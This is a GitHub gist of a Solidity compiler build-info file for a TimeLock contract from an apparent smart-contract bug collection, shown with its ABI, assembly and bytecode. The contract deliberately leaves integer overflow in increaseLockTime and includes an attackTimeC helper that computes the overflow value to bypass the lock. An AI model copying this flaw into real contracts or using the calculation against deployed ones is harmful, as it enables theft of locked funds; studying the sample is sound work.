Created
May 20, 2024 12:00
-
-
Save Lizhen0797/42a3c40590c459be66e4fda5de5d2fb1 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.26+commit.4563c3fc.js&optimize=false&runs=200&gist=
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"id": "4ec39e1734d002bf0b008821d3efdb58", | |
"_format": "hh-sol-build-info-1", | |
"solcVersion": "0.4.26", | |
"solcLongVersion": "0.4.26+commit.4563c3fc", | |
"input": { | |
"language": "Solidity", | |
"sources": { | |
"bit-smartcontract-bug/overflow/TimeLock.sol": { | |
"content": "pragma solidity ^0.4.26;\ncontract TimeLock {\n \n mapping(address => uint) public balances;\n mapping(address => uint) public lockTime;\n uint attackTime;\n \n function deposit() public payable{\n balances[msg.sender] += msg.value;\n lockTime[msg.sender] = now + 1 weeks;\n }\n \n function increaseLockTime(uint _secondsToIncrease) public{\n lockTime[msg.sender] += _secondsToIncrease;\n }\n \n function withdraw() public {\n require(balances[msg.sender] > 0);\n require(now > lockTime[msg.sender]);\n balances[msg.sender] = 0;\n msg.sender.transfer(1 ether);\n }\n \n //This code is used to compute the Time to unlock the contract\n function attackTimeC() public view returns(uint){\n attackTime = 2**256 - 1 - lockTime[msg.sender] +1;\n return attackTime;\n }\n \n}" | |
} | |
}, | |
"settings": { | |
"optimizer": { | |
"enabled": false, | |
"runs": 200 | |
}, | |
"outputSelection": { | |
"*": { | |
"": [ | |
"ast" | |
], | |
"*": [ | |
"abi", | |
"metadata", | |
"devdoc", | |
"userdoc", | |
"storageLayout", | |
"evm.legacyAssembly", | |
"evm.bytecode", | |
"evm.deployedBytecode", | |
"evm.methodIdentifiers", | |
"evm.gasEstimates", | |
"evm.assembly" | |
] | |
} | |
}, | |
"remappings": [] | |
} | |
}, | |
"output": { | |
"contracts": { | |
"bit-smartcontract-bug/overflow/TimeLock.sol": { | |
"TimeLock": { | |
"abi": [ | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "attackTimeC", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "balances", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "withdraw", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [ | |
{ | |
"name": "_secondsToIncrease", | |
"type": "uint256" | |
} | |
], | |
"name": "increaseLockTime", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "lockTime", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "deposit", | |
"outputs": [], | |
"payable": true, | |
"stateMutability": "payable", | |
"type": "function" | |
} | |
], | |
"devdoc": { | |
"methods": {} | |
}, | |
"evm": { | |
"assembly": " /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":25:858 contract TimeLock {... */\n mstore(0x40, 0x80)\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_1\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\ntag_1:\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":25:858 contract TimeLock {... */\n pop\n dataSize(sub_0)\n dup1\n dataOffset(sub_0)\n 0x0\n codecopy\n 0x0\n return\nstop\n\nsub_0: assembly {\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":25:858 contract TimeLock {... */\n mstore(0x40, 0x80)\n jumpi(tag_1, lt(calldatasize, 0x4))\n calldataload(0x0)\n 0x100000000000000000000000000000000000000000000000000000000\n swap1\n div\n 0xffffffff\n and\n dup1\n 0x2115eabd\n eq\n tag_2\n jumpi\n dup1\n 0x27e235e3\n eq\n tag_3\n jumpi\n dup1\n 0x3ccfd60b\n eq\n tag_4\n jumpi\n dup1\n 0x79af55e4\n eq\n tag_5\n jumpi\n dup1\n 0xa4beda63\n eq\n tag_6\n jumpi\n dup1\n 0xd0e30db0\n eq\n tag_7\n jumpi\n tag_1:\n 0x0\n dup1\n revert\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":708:851 function attackTimeC() public view returns(uint){... */\n tag_2:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_8\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_8:\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":708:851 function attackTimeC() public view returns(uint){... */\n pop\n tag_9\n jump(tag_10)\n tag_9:\n mload(0x40)\n dup1\n dup3\n dup2\n mstore\n 0x20\n add\n swap2\n pop\n pop\n mload(0x40)\n dup1\n swap2\n sub\n swap1\n return\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":54:94 mapping(address => uint) public balances */\n tag_3:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_11\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_11:\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":54:94 mapping(address => uint) public balances */\n pop\n tag_12\n 0x4\n dup1\n calldatasize\n sub\n dup2\n add\n swap1\n dup1\n dup1\n calldataload\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n swap1\n 0x20\n add\n swap1\n swap3\n swap2\n swap1\n pop\n pop\n pop\n jump(tag_13)\n tag_12:\n mload(0x40)\n dup1\n dup3\n dup2\n mstore\n 0x20\n add\n swap2\n pop\n pop\n mload(0x40)\n dup1\n swap2\n sub\n swap1\n return\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":437:631 function withdraw() public {... */\n tag_4:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_14\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_14:\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":437:631 function withdraw() public {... */\n pop\n tag_15\n jump(tag_16)\n tag_15:\n stop\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":311:427 function increaseLockTime(uint _secondsToIncrease) public{... */\n tag_5:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_17\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_17:\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":311:427 function increaseLockTime(uint _secondsToIncrease) public{... */\n pop\n tag_18\n 0x4\n dup1\n calldatasize\n sub\n dup2\n add\n swap1\n dup1\n dup1\n calldataload\n swap1\n 0x20\n add\n swap1\n swap3\n swap2\n swap1\n pop\n pop\n pop\n jump(tag_19)\n tag_18:\n stop\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":100:140 mapping(address => uint) public lockTime */\n tag_6:\n callvalue\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_20\n jumpi\n /* \"--CODEGEN--\":30:31 */\n 0x0\n /* \"--CODEGEN--\":27:28 */\n dup1\n /* \"--CODEGEN--\":20:32 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_20:\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":100:140 mapping(address => uint) public lockTime */\n pop\n tag_21\n 0x4\n dup1\n calldatasize\n sub\n dup2\n add\n swap1\n dup1\n dup1\n calldataload\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n swap1\n 0x20\n add\n swap1\n swap3\n swap2\n swap1\n pop\n pop\n pop\n jump(tag_22)\n tag_21:\n mload(0x40)\n dup1\n dup3\n dup2\n mstore\n 0x20\n add\n swap2\n pop\n pop\n mload(0x40)\n dup1\n swap2\n sub\n swap1\n return\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":172:301 function deposit() public payable{... */\n tag_7:\n tag_23\n jump(tag_24)\n tag_23:\n stop\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":708:851 function attackTimeC() public view returns(uint){... */\n tag_10:\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":751:755 uint */\n 0x0\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":815:816 1 */\n 0x1\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":793:801 lockTime */\n dup1\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":793:813 lockTime[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":802:812 msg.sender */\n caller\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":793:813 lockTime[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n sload\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":780:790 2**256 - 1 */\n 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":780:813 2**256 - 1 - lockTime[msg.sender] */\n sub\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":780:816 2**256 - 1 - lockTime[msg.sender] +1 */\n add\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":767:777 attackTime */\n 0x2\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":767:816 attackTime = 2**256 - 1 - lockTime[msg.sender] +1 */\n dup2\n swap1\n sstore\n pop\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":834:844 attackTime */\n sload(0x2)\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":827:844 return attackTime */\n swap1\n pop\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":708:851 function attackTimeC() public view returns(uint){... */\n swap1\n jump\t// out\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":54:94 mapping(address => uint) public balances */\n tag_13:\n mstore(0x20, 0x0)\n dup1\n 0x0\n mstore\n keccak256(0x0, 0x40)\n 0x0\n swap2\n pop\n swap1\n pop\n sload\n dup2\n jump\t// out\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":437:631 function withdraw() public {... */\n tag_16:\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":505:506 0 */\n 0x0\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":482:490 balances */\n dup1\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":482:502 balances[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":491:501 msg.sender */\n caller\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":482:502 balances[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n sload\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":482:506 balances[msg.sender] > 0 */\n gt\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":474:507 require(balances[msg.sender] > 0) */\n iszero\n iszero\n tag_27\n jumpi\n 0x0\n dup1\n revert\n tag_27:\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":531:539 lockTime */\n 0x1\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":531:551 lockTime[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":540:550 msg.sender */\n caller\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":531:551 lockTime[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n sload\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":525:528 now */\n timestamp\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":525:551 now > lockTime[msg.sender] */\n gt\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":517:552 require(now > lockTime[msg.sender]) */\n iszero\n iszero\n tag_28\n jumpi\n 0x0\n dup1\n revert\n tag_28:\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":585:586 0 */\n 0x0\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":562:570 balances */\n dup1\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":562:582 balances[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":571:581 msg.sender */\n caller\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":562:582 balances[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":562:586 balances[msg.sender] = 0 */\n dup2\n swap1\n sstore\n pop\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":596:606 msg.sender */\n caller\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":596:615 msg.sender.transfer */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":596:624 msg.sender.transfer(1 ether) */\n 0x8fc\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":616:623 1 ether */\n 0xde0b6b3a7640000\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":596:624 msg.sender.transfer(1 ether) */\n swap1\n dup2\n iszero\n mul\n swap1\n mload(0x40)\n 0x0\n mload(0x40)\n dup1\n dup4\n sub\n dup2\n dup6\n dup9\n dup9\n call\n swap4\n pop\n pop\n pop\n pop\n iszero\n /* \"--CODEGEN--\":8:17 */\n dup1\n /* \"--CODEGEN--\":5:7 */\n iszero\n tag_29\n jumpi\n /* \"--CODEGEN--\":45:61 */\n returndatasize\n /* \"--CODEGEN--\":42:43 */\n 0x0\n /* \"--CODEGEN--\":39:40 */\n dup1\n /* \"--CODEGEN--\":24:62 */\n returndatacopy\n /* \"--CODEGEN--\":77:93 */\n returndatasize\n /* \"--CODEGEN--\":74:75 */\n 0x0\n /* \"--CODEGEN--\":67:94 */\n revert\n /* \"--CODEGEN--\":5:7 */\n tag_29:\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":596:624 msg.sender.transfer(1 ether) */\n pop\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":437:631 function withdraw() public {... */\n jump\t// out\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":311:427 function increaseLockTime(uint _secondsToIncrease) public{... */\n tag_19:\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":402:420 _secondsToIncrease */\n dup1\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":378:386 lockTime */\n 0x1\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":378:398 lockTime[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":387:397 msg.sender */\n caller\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":378:398 lockTime[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n 0x0\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":378:420 lockTime[msg.sender] += _secondsToIncrease */\n dup3\n dup3\n sload\n add\n swap3\n pop\n pop\n dup2\n swap1\n sstore\n pop\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":311:427 function increaseLockTime(uint _secondsToIncrease) public{... */\n pop\n jump\t// out\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":100:140 mapping(address => uint) public lockTime */\n tag_22:\n mstore(0x20, 0x1)\n dup1\n 0x0\n mstore\n keccak256(0x0, 0x40)\n 0x0\n swap2\n pop\n swap1\n pop\n sload\n dup2\n jump\t// out\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":172:301 function deposit() public payable{... */\n tag_24:\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":239:248 msg.value */\n callvalue\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":215:223 balances */\n 0x0\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":215:235 balances[msg.sender] */\n dup1\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":224:234 msg.sender */\n caller\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":215:235 balances[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n 0x0\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":215:248 balances[msg.sender] += msg.value */\n dup3\n dup3\n sload\n add\n swap3\n pop\n pop\n dup2\n swap1\n sstore\n pop\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":287:294 1 weeks */\n 0x93a80\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":281:284 now */\n timestamp\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":281:294 now + 1 weeks */\n add\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":258:266 lockTime */\n 0x1\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":258:278 lockTime[msg.sender] */\n 0x0\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":267:277 msg.sender */\n caller\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":258:278 lockTime[msg.sender] */\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n 0xffffffffffffffffffffffffffffffffffffffff\n and\n dup2\n mstore\n 0x20\n add\n swap1\n dup2\n mstore\n 0x20\n add\n 0x0\n keccak256\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":258:294 lockTime[msg.sender] = now + 1 weeks */\n dup2\n swap1\n sstore\n pop\n /* \"bit-smartcontract-bug/overflow/TimeLock.sol\":172:301 function deposit() public payable{... */\n jump\t// out\n\n auxdata: 0xa165627a7a72305820a18a68fb380ab8c7786d57a51afac1dc9184ce86ccb2af91ea68c64df7bfb12b0029\n}\n", | |
"bytecode": { | |
"linkReferences": {}, | |
"object": "608060405234801561001057600080fd5b5061048a806100206000396000f300608060405260043610610078576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632115eabd1461007d57806327e235e3146100a85780633ccfd60b146100ff57806379af55e414610116578063a4beda6314610143578063d0e30db01461019a575b600080fd5b34801561008957600080fd5b506100926101a4565b6040518082815260200191505060405180910390f35b3480156100b457600080fd5b506100e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610218565b6040518082815260200191505060405180910390f35b34801561010b57600080fd5b50610114610230565b005b34801561012257600080fd5b506101416004803603810190808035906020019092919050505061035f565b005b34801561014f57600080fd5b50610184600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103af565b6040518082815260200191505060405180910390f35b6101a26103c7565b005b600060018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0301600281905550600254905090565b60006020528060005260406000206000915090505481565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561027d57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421115156102ca57600080fd5b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc670de0b6b3a76400009081150290604051600060405180830381858888f1935050505015801561035c573d6000803e3d6000fd5b50565b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555050565b60016020528060005260406000206000915090505481565b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555062093a804201600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505600a165627a7a72305820a18a68fb380ab8c7786d57a51afac1dc9184ce86ccb2af91ea68c64df7bfb12b0029", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x48A DUP1 PUSH2 0x20 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN STOP PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x78 JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x2115EABD EQ PUSH2 0x7D JUMPI DUP1 PUSH4 0x27E235E3 EQ PUSH2 0xA8 JUMPI DUP1 PUSH4 0x3CCFD60B EQ PUSH2 0xFF JUMPI DUP1 PUSH4 0x79AF55E4 EQ PUSH2 0x116 JUMPI DUP1 PUSH4 0xA4BEDA63 EQ PUSH2 0x143 JUMPI DUP1 PUSH4 0xD0E30DB0 EQ PUSH2 0x19A JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x89 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x92 PUSH2 0x1A4 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xB4 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xE9 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x218 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x10B JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x114 PUSH2 0x230 JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x122 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x141 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x35F JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x14F JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x184 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x3AF JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x1A2 PUSH2 0x3C7 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 PUSH1 0x1 DUP1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD PUSH32 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF SUB ADD PUSH1 0x2 DUP2 SWAP1 SSTORE POP PUSH1 0x2 SLOAD SWAP1 POP SWAP1 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD GT ISZERO ISZERO PUSH2 0x27D JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD TIMESTAMP GT ISZERO ISZERO PUSH2 0x2CA JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH2 0x8FC PUSH8 0xDE0B6B3A7640000 SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x35C JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP JUMP JUMPDEST DUP1 PUSH1 0x1 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x1 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST CALLVALUE PUSH1 0x0 DUP1 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 